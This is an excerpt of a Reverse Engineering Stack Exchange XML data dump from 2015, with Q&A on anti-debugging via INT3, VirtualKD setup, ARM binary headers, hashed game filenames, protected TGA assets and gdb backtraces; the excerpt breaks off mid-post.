  <row Id="9530" PostTypeId="1" AcceptedAnswerId="9531" CreationDate="2015-08-01T16:48:38.323" Score="2" ViewCount="3248" Body="&lt;p&gt;I am trying to catch anti debugging routines, and I don't quite understand what INT3 does, and I have read that it can be used to detect debuggers and mask calls.  The program eventually sends me into a nonsensical loop if I am stepping, and if I am running, it will notify me that a debugger has been found.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77BE0000   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]&#xA;77BE0004   CC               INT3&#xA;77BE0005   C2 0400          RETN 4&#xA;77BE0008 &amp;gt; CC               INT3&#xA;77BE0009   90               NOP&#xA;77BE000A   C3               RETN&#xA;77BE000B   90               NOP&#xA;77BE000C &amp;gt; CC               INT3&#xA;77BE000D   C3               RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think INT3 might be something going on here.  Since my intel instruction set reference (&lt;a href=&quot;http://faydoc.tripod.com/cpu/index_i.htm&quot; rel=&quot;nofollow&quot;&gt;http://faydoc.tripod.com/cpu/index_i.htm&lt;/a&gt;) says this has something to do with a debugger interrupt.  I also read something about how these can be used to mask debugger detection from reverse engineers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I barking up the wrong tree or is there something in this line of code questionable?&lt;/p&gt;&#xA;" OwnerUserId="13147" LastActivityDate="2015-08-02T11:09:24.683" Title="Detection of OllyDbg - INT3?" Tags="|disassembly|anti-debugging|" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-07T22:18:08.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="9531" PostTypeId="2" ParentId="9530" CreationDate="2015-08-02T11:09:24.683" Score="4" Body="&lt;p&gt;This technique uses the fact that when the interrupt instructions INT3 (breakpoint) and INT1 &#xA;(single-step) are stepped thru inside a debugger, by default, the exception handler will not be &#xA;invoked since debuggers typically handle the exceptions generated by these interrupts. Thus, &#xA;a packer can set flags inside the exception handler, and if these flags are not set after the INT &#xA;instruction, it means that the process is being debugged. Additionally, kernel32!DebugBreak() &#xA;internally invokes an INT3 and some packers use the said API instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf&quot; rel=&quot;nofollow&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8610" LastActivityDate="2015-08-02T11:09:24.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9533" PostTypeId="1" AcceptedAnswerId="10708" CreationDate="2015-08-02T15:48:44.190" Score="3" ViewCount="791" Body="&lt;p&gt;Is it any way to connect VirtualKD 2.8 to VBox &gt; 4.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled it but the nearest result was &lt;a href=&quot;http://www.virtualbox.org/svn/vbox/trunk/src/VBox/Devices/Misc/VirtualKD.cpp&quot; rel=&quot;nofollow&quot;&gt;VBOX_WITH_VIRTUALKD&lt;/a&gt; config flag and some change logs about &lt;a href=&quot;https://www.virtualbox.org/wiki/Changelog-4.3#4.3.16&quot; rel=&quot;nofollow&quot;&gt;stub/loader&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;OK, because of lack of information in my question, I try to explain my problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start installing the VirtualKD from &lt;a href=&quot;http://virtualkd.sysprogs.org/tutorials/install/&quot; rel=&quot;nofollow&quot;&gt;Ref I&lt;/a&gt; using VKD 2.8. exactly in step 2 it said&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to cast COM object of type 'VirtualBox.VirtualBoxClass' ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I start googleing and i found a great article &lt;a href=&quot;http://www.virtualroadside.com/blog/index.php/2013/03/11/virtualkd-2-8-with-virtualbox-4-2/&quot; rel=&quot;nofollow&quot;&gt;Ref II&lt;/a&gt;. I compiled the C# code and ran it in the VirtualKD-2.8 directory. the first problem is gone but the virtual box said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load R3 &quot;C:\VirtualKD-2.8\VBoxKD64.dll&quot;: Not signed ... (VERR_LDRVI_NOT_SIGNED)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again I start googleing... the problem is for &lt;code&gt;VBox &amp;gt; 3.1&lt;/code&gt;, it force signed dll loading in windows. so I signed the DLL by a self generated sign ( and of curse I added it to my trust list ). now the virtualbox braks with&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load R3 module &quot;C:\VirtualKD-2.8\VBoxKD64.dll&quot; None of 1 path(s) hav a trust anchor.: ... (VERR_CR_X509_CPV_NO_TRUSTED_PATHS).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so I used a globally trusted sign to do the job but I got a FATAL error from vbox...&lt;/p&gt;&#xA;" OwnerUserId="12323" LastEditorUserId="12323" LastEditDate="2015-08-04T07:45:53.230" LastActivityDate="2015-08-25T08:23:24.233" Title="VirtualKD + VBox &gt; 4.3" Tags="|debugging|kernel-mode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9535" PostTypeId="1" AcceptedAnswerId="9536" CreationDate="2015-08-02T19:50:50.823" Score="0" ViewCount="246" Body="&lt;p&gt;I want to look at directx calls with ollydbg, and log and decode all parameters. Somebody knows how to do that?&lt;/p&gt;&#xA;" OwnerUserId="13172" LastActivityDate="2015-08-02T20:09:23.960" Title="Logging COM calls with OllyDBG" Tags="|com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9536" PostTypeId="2" ParentId="9535" CreationDate="2015-08-02T20:09:23.960" Score="0" Body="&lt;p&gt;Unless you absolutely need to use OllyDbg for this, you really should use something like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.rohitab.com/apimonitor&lt;/a&gt; which has DirectX call logging and decoding built-in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YczHZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YczHZ.png&quot; alt=&quot;Screenshot1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/13FvO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/13FvO.png&quot; alt=&quot;Screenshot2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you seriously do need to use OllyDbg for this, you should explain why.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-02T20:09:23.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9538" PostTypeId="1" AcceptedAnswerId="9539" CreationDate="2015-08-03T16:34:30.267" Score="1" ViewCount="632" Body="&lt;p&gt;I have a little endian 32-bit ARM binary, compiled for a CPU that's running embedded Linux. I want to figure out what a specific byte in the binary means. An example hex view of the first few bytes of my binary is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 03 00 00 00 82 2C 00 00  50 01 00 00 C0 01 00 00&#xA; 1A 00 00 00 2B 00 00 00  80 00 00 00 00 00 00 00&#xA; 24 26 00 00 08 00 00 00  04 10 00 00 30 29 00 00&#xA; FC FF 07 00 00 00 00 00  F7 27 13 00 FF 03 00 00&#xA; 01 00 00 00 74 2C 00 00  00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am interested in finding the purpose of the byte with value &lt;code&gt;0x13&lt;/code&gt; in line 4. The particular number seems to increase as the size of the binary increases, but I can't seem to find the exact correlation between file size and this number. I have tried the usual suspects (number of blocks, file size in e.g. KB etc.) but nothing gives an exact match with the number I observe in that byte offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling the binary in IDA renders the following assembly code for that portion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00000000                 AREA ROM, CODE, READWRITE, ALIGN=0&#xA;ROM:00000000                 CODE32&#xA;ROM:00000000                 DCD 3, 0x2C82, 0x150, 0x1C0, 0x1A, 0x2B, 0x80, 0&#xA;ROM:00000020                 DCD off_2624&#xA;ROM:00000024                 DCD 8, 0x1004, 0x2930, 0x7FFFC, 0&#xA;ROM:00000038                 DCD 0x1327F7, 0x3FF, 1, 0x2C74, 0, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the number of interest appears in the last line as &lt;code&gt;DCD 0x1327F7&lt;/code&gt;. That number doesn't appear anywhere else in the code, neither that address is referenced anywhere in the rest of the code. The neighboring bytes (here &lt;code&gt;0x27F7&lt;/code&gt;) change in a seemingly &quot;random&quot; way (it is likely possible that I just haven't figured out their purpose &lt;em&gt;yet&lt;/em&gt;). Regardless I am only interested in the &lt;code&gt;0x13&lt;/code&gt; field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a convention for the contents of the first bytes of an ARM binary? Any ideas as to the purpose of that byte or if there actually exists a correlation to the file's size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; For differential analysis purposes I'm adding another file's initial bytes. Here the number I am interested in is &lt;code&gt;0x03&lt;/code&gt; in line 4. The offset of interest is always the same. The first file was 11928 bytes whereas this one is 2850 bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0300 0000 9608 0000 5001 0000 0701 0000&#xA;0a00 0000 1300 0000 8000 0000 0000 0000&#xA;6404 0000 0800 0000 0410 0000 9006 0000&#xA;fcff 0700 0000 0000 087d 0300 ff03 0000&#xA;0100 0000 8808 0000 0000 0000 0000 0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13182" LastEditorUserId="13182" LastEditDate="2015-08-03T16:39:35.357" LastActivityDate="2015-08-03T16:56:15.667" Title="Specific byte purpose in header of little endian ARM binary" Tags="|ida|binary-analysis|arm|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9539" PostTypeId="2" ParentId="9538" CreationDate="2015-08-03T16:56:15.667" Score="1" Body="&lt;p&gt;As per the comments above, you would need to reverse engineer your ladder logic program to determine how it's parsing and updating this binary file.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-03T16:56:15.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9540" PostTypeId="5" CreationDate="2015-08-03T18:20:33.190" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-03T18:20:33.190" LastActivityDate="2015-08-03T18:20:33.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9541" PostTypeId="4" CreationDate="2015-08-03T18:20:33.190" Score="0" Body="A decompiler plugin for IDA, producing (pseudo-)C/C++ code, developed by the company of the same name (Hex-Rays)." OwnerUserId="53" LastEditorUserId="245" LastEditDate="2019-08-01T07:44:30.860" LastActivityDate="2019-08-01T07:44:30.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9542" PostTypeId="1" CreationDate="2015-08-03T18:57:09.670" Score="1" ViewCount="170" Body="&lt;p&gt;I'm currently a computer sciences undergrad who'd like to do some basic research work in reverse engineering as my premier project (for completion of my bachelor's degree). So far, I've studied operating systems, computer networks, computer architecture, cryptography (basic and advanced), systems security &amp;amp; network security. My mathematical/theoretical background consists of theory of computation, complexity theory, abstract algebra, graph theory, number theory and basic algorithm and data structure design/implementation. I'm also currently doing a course on compilers (design/implementation). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find reverse engineering quite intriguing; although since I don't have any first hand experience of the area itself, I cannot say much. Bachelor's project is supposed to be a showcase of a person's strengths in computer science at my institute, and being primarily interested in systems security, I'd like to do my main project in some specific sub-area in the aforementioned area only. I'd preferably like to explore more theoretical parts than applied ones, although I'm okay with a fine balance between both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help in actually knowing if I should go for it or not. I know this is a very vague question (and it'd probably get flagged), but I don't really know any other avenue where I should be asking this. Is there scope for research in this field at an undergrad level? If yes, what more background do I need to acquire before getting into it? I feel taking this up as a research project might be a bit too ambitious since I don't know anything about the field, but in case I &lt;em&gt;do&lt;/em&gt; take it up, where shall I start? I need to have a proper problem definition in mind, which I sadly do not have, so I'd appreciate some help/advice on the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks (if you've read this far and aren't annoyed).&lt;/p&gt;&#xA;" OwnerUserId="13185" LastActivityDate="2015-08-04T21:38:53.700" Title="Taking up reverse engineering as a research topic, need advice" Tags="|operating-systems|security|career-advice|" AnswerCount="3" CommentCount="0" ClosedDate="2015-08-07T22:17:47.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="9543" PostTypeId="2" ParentId="9542" CreationDate="2015-08-03T19:00:55.420" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Bachelor's project is supposed to be a showcase of a person's&#xA;  strengths in computer science&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I don't have any first hand experience of [reverse engineering]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Given your two statements above, I would posit that you should not do your bachelor's project on reverse engineering :(&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-03T19:00:55.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9544" PostTypeId="1" AcceptedAnswerId="9545" CreationDate="2015-08-03T19:58:31.177" Score="1" ViewCount="409" Body="&lt;p&gt;I'm busy trying to decrypt some game data.  All the encrypted filenames are hexadecimal strings with the same length e.g. &lt;code&gt;1790C6E445C7E38EFCD5B3042F9B4443&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've figured out that a few of the files are unencrypted OGG files, and I've used the &lt;code&gt;strings&lt;/code&gt; command to find a list of the &lt;code&gt;.ogg&lt;/code&gt; strings contained within the game binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm wondering, is there any way to find out how the file name was created, given the original? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And would it be possible to recreate the directory structure somehow (right now it's all flat, but according to the strings I've found, there should be directories).&lt;/p&gt;&#xA;" OwnerUserId="13186" LastActivityDate="2015-08-03T20:52:26.437" Title="Getting Encryption Method When I Know Encrypted File Name &amp; Original File Name" Tags="|decompilation|decryption|hex|xor|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9545" PostTypeId="2" ParentId="9544" CreationDate="2015-08-03T20:52:26.437" Score="1" Body="&lt;p&gt;This looks like it could be some hash over the original filename, and because they have 32 characters in length, it's likely to be a md5 hash. Or, it might be one of the sha* variants, cut after 32 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to a linux system, you could try something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n 'introduction.ogg' | md5sum&#xA;dc8f2a080281b924622580a8d662874c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if that doesn't match, try &lt;code&gt;sha1sum&lt;/code&gt;, &lt;code&gt;sha224sum&lt;/code&gt;, &lt;code&gt;sha256sum&lt;/code&gt;, &lt;code&gt;sha384sum&lt;/code&gt;, &lt;code&gt;sha512sum&lt;/code&gt; instead. These all result in longer results, so your filename might be at the start, the end, or somewhere in the middle of the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, just paste your file name into this &lt;a href=&quot;https://defuse.ca/checksums.htm&quot; rel=&quot;nofollow&quot;&gt;online tool&lt;/a&gt; which has those and many more algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad news is, you won't be able to guess the original filename from the hash. All these hashes are (intended to be) one-way functions - it's easy to get the hash from the original data, but there's no way back. This is why hashes like these are used for password storage - you can verify a password by encrypting it, but you can't get at the password from the hash.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-08-03T20:52:26.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9546" PostTypeId="5" CreationDate="2015-08-03T22:04:00.387" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-03T22:04:00.387" LastActivityDate="2015-08-03T22:04:00.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9547" PostTypeId="4" CreationDate="2015-08-03T22:04:00.387" Score="0" Body="Software development kit of the IDAPro software suite, allow to develop processor modules, loaders and various extensions. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-03T22:04:00.387" LastActivityDate="2015-08-03T22:04:00.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9548" PostTypeId="5" CreationDate="2015-08-03T22:06:05.160" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-03T22:06:05.160" LastActivityDate="2015-08-03T22:06:05.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9549" PostTypeId="4" CreationDate="2015-08-03T22:06:05.160" Score="0" Body="Software managing the hardware part of the computer and providing an API for user-space software to access various services provided by hardware devices." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-08-03T22:06:05.160" LastActivityDate="2015-08-03T22:06:05.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9551" PostTypeId="1" AcceptedAnswerId="9552" CreationDate="2015-08-04T09:16:16.803" Score="-4" ViewCount="3519" Body="&lt;p&gt;I'm trying to crack winrar's password using some methods as explained below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because rar uses AES-128 encryption, brute-force and dictionary attacks are useless as they would take years.&#xA;But, if we convert a password-protected rar file into an SFX archive &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used w32dasm, olly dbg &amp;amp; pe explorer to modify these exe files.&#xA;All I could find are the strings like &quot;Extracting, CRC failed, Encrypted&quot; and some other things. I used several sfx archives as test files (with different passwords) and tried it through disassembly. Those hexadecimal keys are looking quite similar!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do I need a better disassembler or debugger?Am i on the right way or anyother way to decompile it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main aim was to extract the password protected file and ensure the file is safe,I already refered this &lt;a href=&quot;https://superuser.com/questions/145167/is-zips-encryption-really-bad&quot;&gt;question&lt;/a&gt; stating that it is possible only by brute forcing the winrar file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of my win32dasm snapshots were as below :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sfJNk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sfJNk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.293" LastActivityDate="2015-08-04T13:22:47.703" Title="Is it possible to decompile the password protected rar file?" Tags="|decompilation|executable|" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-04T14:52:00.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="9552" PostTypeId="2" ParentId="9551" CreationDate="2015-08-04T13:22:47.703" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to decompile the password protected rar file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Decompilation is for code. RAR files are data. So &lt;strong&gt;no&lt;/strong&gt;, there's nothing in a RAR file to decompile.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But, if we convert a password-protected rar file into an SFX archive&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you could decompile the SFX stub, but it still wouldn't allow you to decrypt the RAR data without the password.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-04T13:22:47.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9553" PostTypeId="2" ParentId="9542" CreationDate="2015-08-04T18:45:02.513" Score="1" Body="&lt;p&gt;I would also not recommend it. Reverse Engineering is a topic that's too advanced for many/most senior IT professionals in the industry. It would be a very risky experiment on your behalf!&lt;/p&gt;&#xA;" OwnerUserId="13196" LastActivityDate="2015-08-04T18:45:02.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9554" PostTypeId="2" ParentId="9542" CreationDate="2015-08-04T21:38:53.700" Score="1" Body="&lt;p&gt;Visit a site with legal reverse engineering challenges like e.g. crackmes.de, solve at least five challenges up to a level of three (level one being the easiest, 5 and up are difficult even for the experienced), and then start with your thesis. Your background in cryptology will help you on the higher levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned - you will need patience and must not expect very quick results, but successful solutions will be a big reward. And be warned again, the virus of reversing might infect you...&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-08-04T21:38:53.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9555" PostTypeId="1" CreationDate="2015-08-04T22:24:52.337" Score="2" ViewCount="3325" Body="&lt;p&gt;I'm working on converting a game originally developed to run on Windows for the web. I have a bunch of artwork for the game received from the artist in .tga image files which open fine in Photoshop. However I don't have the complete set of artwork and it cannot be found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a distribution of the Windows game which consists of .dlls, .lua files and a lot of .tga files. The .tga (Targa) files in the game distribution are named the same as the .tga files in the artwork I have received so I think it's safe to assume they are the same images. Even the images that I'm missing from the supplied artwork are present in the game distribution. Bingo! Well actually no…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .tga files from the game won't open in Photoshop or Preview (mac) or Pixelmator (mac). So I think something has been done to the game .tga files to protect them and I want to reverse engineer them back to normal .tga files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I need to discover what the new files are and how they've been modified. Here's what I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Using linux &lt;code&gt;file&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rockExplosion.tga (from artwork). &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Output: &lt;code&gt;rockExplosion.tga: Targa image data - RGB 100 x 43&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;rockExplosion.tga (from game). &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Output: &lt;code&gt;rockExplosion.tga: data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Inspecting using hex viewer and diff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two files are exactly the same byte length. The last ~15% of bytes are identical in each file and the first ~85% are completely different.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Binwalk didn't tell me anything for either file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What other techniques exist for reverse engineering unknown file formats?&lt;/li&gt;&#xA;&lt;li&gt;Is there a standard way of protecting images in .NET applications that could have been used?&lt;/li&gt;&#xA;&lt;li&gt;What other tools could I use to probe further?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13200" LastActivityDate="2016-08-05T12:54:45.757" Title="Techniques for reverse engineering an unknown or protected file format" Tags="|windows|file-format|.net|encodings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9556" PostTypeId="2" ParentId="9555" CreationDate="2015-08-05T06:57:48.763" Score="3" Body="&lt;p&gt;If you can, you should post links to 2-3 of your real targa images, and the corresponding game targa images (beware of license issues though). Sometimes, looking at the files rings a bell, and i could have checked much of what i'm going to say if it works for your files or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are some of the tga files referenced from Lua? There is &lt;a href=&quot;http://luagl.sourceforge.net/examples/loadTGA.lua&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lua source code out there to load targa files&lt;/a&gt;, maybe your lua has a variation on that that does the decryption.&lt;/li&gt;&#xA;&lt;li&gt;Because the files have the same length, i'd assume they're not converted to a different format, but encrypted somehow instead.&lt;/li&gt;&#xA;&lt;li&gt;It's unlikely to be a kind of encyption that's used elsewhere and that's well known, since that would defeat the point of encryption.&lt;/li&gt;&#xA;&lt;li&gt;If this is a simple way of encryption, then the first few bytes (the header of the tga file) should be the same for all of the encrypted files, since they're the same in the original files. Check the &lt;a href=&quot;https://en.wikipedia.org/wiki/Truevision_TGA&quot; rel=&quot;nofollow noreferrer&quot;&gt;targa file format&lt;/a&gt; for details; for example, image width/height should be different, most other header fields should be the same.&lt;/li&gt;&#xA;&lt;li&gt;It could be interesting to know where exactly the different bytes stop and the identical bytes start. Is that always on a block boundary, i.e. a multiple of 512 bytes, with only the last block (that's smaller than 512 bytes) unencrypted? (Replace 512 with 1024, 2048, 4096 for likely block sizes.) Or is it always on a certain logical position in the file, for example start of the extension area, or start of the developer area? &lt;/li&gt;&#xA;&lt;li&gt;Do all of the files have a developer area? If so, it might contain an encryption key. (Unlikely since the file size doesn't change)&lt;/li&gt;&#xA;&lt;li&gt;What happens if you xor the bytes from the original file with the bytes from the encrypted file? Do different pairs of files yield the same xored pattern? Does this pattern repeat, and after how many bytes?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If all of this fails, you'll have to reverse engineer the game code, learn how the executable code loads the tga files, and implement the algorithm yourself.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are you sure this is a .net application? If so, reversing it might be quite trivial; &quot;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/77/is-there-any-way-to-decompile-a-net-assembly-or-program/8523#8523&quot;&gt;Is there any way to decompile a .NET assembly or program?&lt;/a&gt;&quot; should give you some hints.&lt;/li&gt;&#xA;&lt;li&gt;If it's a compiled application (C, C++, Delphi), it's harder, since you probably need to dig through some assembly, but my answer to &quot;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9168/reversing-encryption-by-analysing-executable/9171#9171&quot;&gt;Reversing encryption by analysing executable&lt;/a&gt;&quot; has some pointers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-08-05T06:57:48.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9557" PostTypeId="2" ParentId="9237" CreationDate="2015-08-05T10:33:20.230" Score="0" Body="&lt;p&gt;Could be that your GNU Debugger (&lt;code&gt;gdb&lt;/code&gt;) doesn't support x86_64 architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try under x86_64 version of it or try &lt;a href=&quot;https://en.wikipedia.org/wiki/LLDB_(debugger)&quot; rel=&quot;nofollow&quot;&gt;LLDB Debugger&lt;/a&gt; (&lt;code&gt;lldb&lt;/code&gt;) which aims to replace it. It's possible that it could better handle the headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://lldb.llvm.org/lldb-gdb.html&quot; rel=&quot;nofollow&quot;&gt;gdb to lldb command map&lt;/a&gt; page for more info.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastActivityDate="2015-08-05T10:33:20.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9558" PostTypeId="1" AcceptedAnswerId="14068" CreationDate="2015-08-05T11:26:08.170" Score="6" ViewCount="3749" Body="&lt;p&gt;I'm following these &lt;a href=&quot;https://bugs.php.net/bugs-generating-backtrace.php&quot; rel=&quot;noreferrer&quot;&gt;steps&lt;/a&gt; to locate the current PHP function call as below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run dummy script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -ex run --args php -r &quot;sleep(10);&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressed &lt;kbd&gt;Ctrl+C&lt;/kbd&gt; to get back to &lt;code&gt;gdb&lt;/code&gt; to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) bt full&#xA;#1  0x00007ffff6007dd4 in __sleep (seconds=0) at ../sysdeps/unix/sysv/linux/sleep.c:137&#xA;        ts = {tv_sec = 8, tv_nsec = 306649388}&#xA;        set = {__val = {65536, 0 &amp;lt;repeats 15 times&amp;gt;}}&#xA;        oset = {__val = {0, 4469319, 4294967295, 8081486, 140737319884960, 140737354070488, 15761488, 15454080, 15337134, &#xA;            140737354001040, 0, 7307048, 16048064, 206158430232, 140737488342304, 140737488342096}}&#xA;        result = &amp;lt;optimized 